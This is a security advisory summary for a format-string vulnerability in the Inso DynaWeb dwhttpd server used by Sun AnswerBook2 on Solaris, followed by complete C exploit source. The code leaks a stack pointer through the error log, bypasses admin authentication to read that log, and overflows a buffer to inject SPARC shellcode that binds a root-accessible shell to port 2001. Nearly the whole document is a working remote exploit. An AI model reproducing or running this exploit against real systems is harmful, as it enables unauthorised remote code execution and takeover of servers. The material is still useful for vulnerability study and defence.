source: http://www.securityfocus.com/bid/5384/info Inso DynaWeb webserver, dwhttpd, is used as a subcomponent in products such as Sun's AnswerBook2, which is shipped as part of the Solaris operating environment. The dwhttpd webserver is prone to a remotely exploitable format-string vulnerability that occurs when logging requests for files that do not exist. Exploits may allow attacker-supplied code supplied to run with the privileges of the dwhttpd. Note that a vulnerability described in Bugtraq ID 5583 allows for unauthenticated remote attackers to view the logfile. Attackers may exploit that vulnerability to more easily exploit this issue successfully and automatically. /* * Solaris/SPARC AnswerBook2 / DynaWeb HTTPD remote exploit * * Exploits a format string vulnerability in dwhttpd to overflow the * destination string passed to vsprintf(3S) in nsapi_log_error(). * The constructed format string uses a large field width, which when * interpreted by vsprintf(), overflows the destination string and * places code on the stack. Using a carefully crafted request and * the format string bug, it bypasses authentication to retrieve a * pointer to the stack out of the dwhttpd error log. Using this * pointer, we calculate the exact location of our shellcode. * The shellcode included binds /bin/sh to port 2001. * * I found this bug on 2000-09-22, but kept poking at exploit over * next year or so. * * -ghandi <[email protected]>, 2001-07-08 */ /* XXX: Doesn't work from an intel (little-endian) machine. */ #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <strings.h> #include <stdlib.h> #include <netdb.h> char bindsh_sparc[] = "\xa0\x23\xa0\x10" /* sub %sp, 16, %l0 */ "\xae\x23\x80\x10" /* sub %sp, %l0, %l7 */ "\xee\x23\xbf\xec" /* st %l7, [%sp - 20] */ "\x90\x25\xe0\x0e" /* sub %l7, 14, %o0 */ "\x92\x25\xe0\x0e" /* sub %l7, 14, %o1 */ "\x94\x1c\x40\x11" /* xor %l1, %l1, %o2 */ "\x96\x1c\x40\x11" /* xor %l1, %l1, %o3 */ "\x98\x25\xe0\x0f" /* sub %l7, 15, %o4 */ "\x82\x05\xe0\xd6" /* add %l7, 214, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\xa4\x1a\x80\x08" /* xor %o2, %o0, %l2 */ "\xd2\x33\xbf\xf0" /* sth %o1, [%sp - 16] */ "\xac\x10\x27\xd1" /* mov 2001, %l6 */ "\xec\x33\xbf\xf2" /* sth %l6, [%sp - 14] */ "\xc0\x23\xbf\xf4" /* st %g0, [%sp - 12] */ "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */ "\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */ "\x94\x1a\xc0\x17" /* xor %o3, %l7, %o2 */ "\x82\x05\xe0\xd8" /* add %l7, 216, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */ "\x92\x25\xe0\x0b" /* sub %l7, 11, %o1 */ "\x82\x05\xe0\xd9" /* add %l7, 217, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */ "\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */ "\x94\x23\xa0\x14" /* sub %sp, 20, %o2 */ "\x82\x05\xe0\xda" /* add %l7, 218, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\xa6\x1a\xc0\x08" /* xor %o3, %o0, %l3 */ "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */ "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */ "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */ "\x82\x05\xe0\x2e" /* add %l7, 46, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */ "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */ "\x94\x02\xe0\x01" /* add %o3, 1, %o2 */ "\x82\x05\xe0\x2e" /* add %l7, 46, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */ "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */ "\x94\x02\xe0\x02" /* add %o3, 2, %o2 */ "\x82\x05\xe0\x2e" /* add %l7, 46, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ "\x82\x02\xe0\x17" /* add %o3, 23, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */ "\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */ "\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */ "\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */ "\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */ "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */ "\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */ "\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */ "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */ "\x82\x02\xe0\x3b" /* add %o3, 59, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ "\x82\x02\xe0\x01" /* add %o3, 1, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ ; typedef struct { char* version; /* dwhttpd version string */ int ptr_offset; /* Distance between stack pointer and '/' */ int align; /* Double-word alignment padding, if any */ } dwhttpd_t; typedef struct { char* host; /* Target host */ int port; /* dwhttpd port (usually 8888) */ unsigned long saved_fp; /* Saved frame pointer */ unsigned long saved_pc; /* Saved program counter */ char* code; /* Port binding code */ char* recon; /* Reconaissance request string */ dwhttpd_t* dwhttpd; /* version specific exploit parameters */ } target_t; /* * Default target version parameters */ dwhttpd_t dwhttpds[] = { { "dwhttpd/4.0.2a7a", 4779, 0 }, /* 1.2, Solaris_7 */ { "dwhttpd/4.1a6", 4779, 0 }, /* 1.4, 1.4.1, 1.4.2 */ { NULL, 0, 0 } }; char* dwhttpd_hstrerror(int); int dwhttpd_get(target_t*, char*); int dwhttpd_recon(target_t*); int dwhttpd_get_ptr(target_t*); int dwhttpd_check_address(target_t*); char* dwhttpd_munge(unsigned long); int dwhttpd_exploit(target_t*); int main(int argc, char* argv[]) { char c; int recon = 1, exploit = 1; target_t target = { 0, 8888, 0, 0, bindsh_sparc, 0, &dwhttpds[1]}; while ((c = getopt(argc, argv, "tr:d:")) != EOF) { switch (c) { case 'd': target.dwhttpd = &dwhttpds[atoi(optarg)]; break; case 't': exploit = 0; break; case 'r': recon = 0; target.saved_pc = strtoul(optarg, NULL, 0); target.saved_fp = target.saved_pc - 32; break; default: fprintf(stderr, "unknown flag, read the usage this time.\n"); return -1; } } if (!argv[optind]) { fprintf(stderr, "usage: %s [[-t] | [-r return address]] <hostname>\n" " -t\tonly calculate return address\n" " -r ret\tUse this return address\n", argv[0]); return -1; } target.host = strdup(argv[optind]); setvbuf(stdout, NULL, _IONBF, 0); if (recon) { /* * Send the reconnaissance request to get a pointer to the stack */ printf("==> Sending reconnaissance request...\t\t\t"); if (dwhttpd_recon(&target)) { char* msg; if (errno) msg = strerror(errno); else msg = dwhttpd_hstrerror(h_errno); fprintf(stderr, "\nError sending reconnaissance request: %s\n", msg); return -1; } printf("%s\n", target.dwhttpd->version); /* * Retrieve the stack pointer from the error log and calculate our * return address. */ printf("==> Calculating return address from error log...\t"); if (dwhttpd_get_ptr(&target)) { fprintf(stderr, "\nError retrieving error log.\n"); return -1; } printf("0x%x\n", (unsigned int)target.saved_pc); } if (exploit) { /* * Use the format string to overflow the buffer and jump into our * shellcode. Use %i7 - 24 as our %fp to give our shellcode * some scratch space on the stack. */ printf("==> Attempting to exploit...\t\t\t\t"); dwhttpd_exploit(&target); printf("done.\n"); /* * Hope it works. */ printf("==> Telnet to port 2001.\n"); } return 0; } /* * Send a request that exploits the format string bug to print out a * pointer to the stack to the dwhttpd error log delimited by * asterisks for easy parsing. While we're there, retrieve the * dwhttpd version. Return 0 if the dwhttpd version was recognized, * -1 otherwise. */ int dwhttpd_recon(target_t* target) { int fd, i; FILE* f; char line[4096]; char* dwhttpd_version = NULL; sprintf(line, "/"); for (i = 0; i < 219; i++) strcat(line, "%p"); strcat(line, "*%p*"); if ((fd = dwhttpd_get(target, line)) < 0) { return -1; } f = fdopen(fd, "r"); while ((fgets(line, 4096, f)) != NULL) { if ((strncmp(line, "Server: ", 8)) == 0) { if (strtok(line, " \r\n\t")) { char* server = strtok(NULL, " \r\n\t"); if (server) dwhttpd_version = strdup(server); } } } fclose(f); for (i = 0; dwhttpds[i].version ; i++) { if (!strcmp(dwhttpd_version, dwhttpds[i].version)) { target->dwhttpd = &dwhttpds[i]; return 0; } } errno = ENOENT; return -1; } /* * Bypass Ab2Admin to retrieve the error log and search for our stack * pointer (from dwhttpd_recon). Our code will be at a version * dependent offset above that pointer, use that as our return address * value. */ int dwhttpd_get_ptr(target_t* target) { int fd; FILE* f; char line[4096]; char* ptr = NULL; char* request = "/ab2/@AdminViewError"; if ((fd = dwhttpd_get(target, request)) < 0) { fprintf(stderr, "http error: %s\n", strerror(errno)); return -1; } f = fdopen(fd, "r"); while ((fgets(line, 4096, f)) != NULL) { char* str = NULL; if (strtok(line, "*")) { str = strtok(NULL, "*"); if (str) { if (ptr) free(ptr); ptr = strdup(str); } } } fclose(f); /* * Add a different offset to our pointer, depending on the version * of dwhttpd. Use this as our target's saved program counter and * to calculate the saved frame pointer. */ if (ptr) { unsigned int ulptr; if ((ulptr = strtoul(ptr, NULL, 16)) == 0) { return -1; } target->saved_pc = ulptr + target->dwhttpd->ptr_offset; target->saved_fp = target->saved_pc - 32; return 0; } else { errno = ENOENT; return -1; } } /* * Check for double-word alignment and any character bytes in the * address that will make the exploit not work. If there are any * spaces or '?' characters in it, it will be parsed and truncated * before the format string bug. */ int dwhttpd_check_address(target_t* target) { int i, j; char buf[4]; unsigned long addrs[2]; addrs[0] = target->saved_fp; addrs[1] = target->saved_pc; for (i = 0; i < 2; i++) { /* Check double-word alignment */ if (((addrs[i] >> 3) << 3) != addrs[i]) return 1 + i; /* Check for parsed bytes */ memcpy(buf, &addrs[i], 4); for (j = 0; j < 4; j++) { if (buf[j] == '\0' || /* 0x00 */ buf[j] == ' ' || /* 0x20 */ buf[j] == '?') /* 0x3f */ return 3 + i; } } return 0; } /* Munge an address to placement in format string. If the string has * a 0x20 byte in it, it will be replaced by a format trick to print * a space. If there are any 0x3e ('?') or 0x00 ('\0') bytes, we * bail. */ char* dwhttpd_munge(unsigned long address) { int i; char* str = malloc(29); for (i = 0; i < 4; i++) { char c[2]; c[0] = ((char*)&address)[i]; c[1] = '\0'; if (c[0] == ' ') /* Print zero characters from the second string argument, * space padded to one character. (=> ' ' if arg != NULL) */ strcat(str, "%2$1.0s"); else if (c[0] == '?') { free(str); return NULL; } else if (c[0] == '\0') { free(str); return NULL; } else strcat(str, c); } return str; } /* * Send the exploit request using the calculated stack pointer (%fp * before the 'restore') and return address. Because we can can * calculate the exact address from the recon request, we don't need * many NOPs, so we can have up to 4000 bytes of shellcode. */ int dwhttpd_exploit(target_t* target) { int i, n, fd; char request[4065]; char filler[65] = "\0"; unsigned long saved_fp, saved_pc; char *saved_fp_str, *saved_pc_str; /* A small NOP filler */ for (i = 0; i < 8; i++) strcat(filler, "\x21\x0b\xd8\x9a"); /* Add space for "/%.4076[4 <= n <=28 chars][4 <= n <=28 chars]" */ target->saved_fp += 32; target->saved_pc += 32; /* Check and ensure double-word alignment */ if (((target->saved_fp >> 3) << 3) != target->saved_fp) saved_fp = ((target->saved_fp >> 3) << 3); if (((target->saved_pc >> 3) << 3) != target->saved_pc) saved_pc = ((target->saved_pc >> 3) << 3); /* Munge addresses for passing through parsing code */ if ((saved_fp_str = dwhttpd_munge(saved_fp)) == NULL) { fprintf(stderr, "Couldn't munge %%fp = 0x%lx\n", saved_fp); return 0; } if ((saved_pc_str = dwhttpd_munge(saved_pc)) == NULL) { fprintf(stderr, "Couldn't munge %%i7 = 0x%lx\n", saved_pc); return 0; } /* Lock */ snprintf(request, 4065, "/%%.4072x%.28s%.28s%.64s%.4000s", saved_fp_str, saved_pc_str, filler, target->code); /* And Load */ if ((fd = dwhttpd_get(target, request)) < 0) { fprintf(stderr, "http error: %s\n", strerror(errno)); return 0; } close(fd); return n; } /* * Connect to the specified server and perform a GET request for the * specified file. Returns the connected socket file descriptor or -1 * if an error occured. */ int dwhttpd_get(target_t* target, char* file) { int sock, l, n = 4080; struct sockaddr_in sa; struct hostent* he; size_t salen = sizeof(struct sockaddr); char buf[4080]; if ((he = gethostbyname(target->host)) == NULL) { return -1; } sock = socket(AF_INET, SOCK_STREAM, 0); bzero(&sa, sizeof(struct sockaddr)); sa.sin_family = AF_INET; memcpy(&sa.sin_addr, he->h_addr_list[0], he->h_length); sa.sin_port = htons(target->port); if (connect(sock, (struct sockaddr*)&sa, salen) < 0) { return -1; } if ((l = snprintf(buf, n, "GET %s HTTP/1.0\r\n\r\n", file)) > n) { fprintf(stderr, "http_get: Request too long\n"); errno = E2BIG; return -1; } if ((n = send(sock, buf, l, 0)) < 0) { perror("send"); return -1; } return sock; } char* dwhttpd_hstrerror(int err) { char* msg; switch (h_errno) { case HOST_NOT_FOUND: msg = "Host not found"; break; case NO_DATA: msg = "No data"; break; case NO_RECOVERY: msg = "No recovery"; break; case TRY_AGAIN: msg = "Try again"; break; } return msg; }